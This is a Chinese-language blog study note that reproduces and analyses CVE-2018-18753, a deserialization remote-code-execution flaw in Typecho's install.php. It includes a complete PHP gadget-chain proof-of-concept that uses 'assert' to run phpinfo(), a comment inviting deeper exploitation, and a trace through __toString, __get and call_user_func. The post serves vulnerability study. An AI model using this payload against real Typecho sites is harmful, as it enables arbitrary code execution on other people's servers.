CVE-2018-18753 Typecho 漏洞复现分析

目录

漏洞 CVE-2018-18753

一、漏洞环境

 

二、漏洞复现步骤

 

三、漏洞分析

 

总结

 


漏洞 CVE-2018-18753

Typecho是一款开源博客程序,曾前台install.php中存在反序列化漏洞。可以被注入反序列化字符而实现PHP的任意代码执行。

影响版本:Typecho1.0-14.10.10

一、漏洞环境

1、Typecho版本下载

https://github.com/typecho/typecho/releases/tag/v1.0-14.10.10-release

2、创建一个数据库typecho(其他创库方法也可以)

 3、下载好的Typecho在PHPstudy运行

4、点击下一步后其他配置默认,剩下的自行填空完成安装

若没有创建数据库typecho,此步骤会安装失败。

二、漏洞复现步骤

1、在网上找一个poc代码,运行获得生成值

代码如下:

<?php
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}
class Typecho_Request
{
    private $_params = array();
    private $_filter = array();
    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';    //替换phpinfo()这里进行深度利用
        $this->_filter[0] = 'assert';
    }
}

$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

2、使用网页的工具HacBbar,输入地址写入参数

3、点击执行即可实现phpinfo(),意味着可以执行任何命令,如popen();system()

三、漏洞分析

1、 在install.php找到unserialize()以及参数,下面跟踪相关方法获取信息。

 2、全局搜索方法Typecho_Cookie::get,发现形参$key是可以通过POST或Cookie传入的,这说明实参__typercho_config是可控的。

 3、跟踪Typecho_Db,发现对象$adapterName被当作字符串使用(拼接),此行为会触发Magic方法__toString()。

当一个对象被当作字符串使用 ,会自动触发Magic方法__toString()

4、全局搜索__toString,下拉发现这里把$item['author']赋值给对象中的属性screenName(访问读取)。如果screenName是不可访问的会触发Magic方法__get()。

从不可访问的属性读取数据 ,会自动触发Magic方法__get()

5、全局搜索__get,发现并跟踪方法get()。

 6、再跟踪方法_applyFilter()。

 7、发现可以执行命令的敏感函数call_user_func()。


 

总结

找到unserialize()函数;验证_typecho_config参数可控;追踪对象$db发现了Magic方法并跟踪至敏感函数call_user_func()。

参考:CVE-2018-18753 Typecho 反序列化漏洞 分析复现

本文仅为学习途中的自用笔记,仅供参考

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值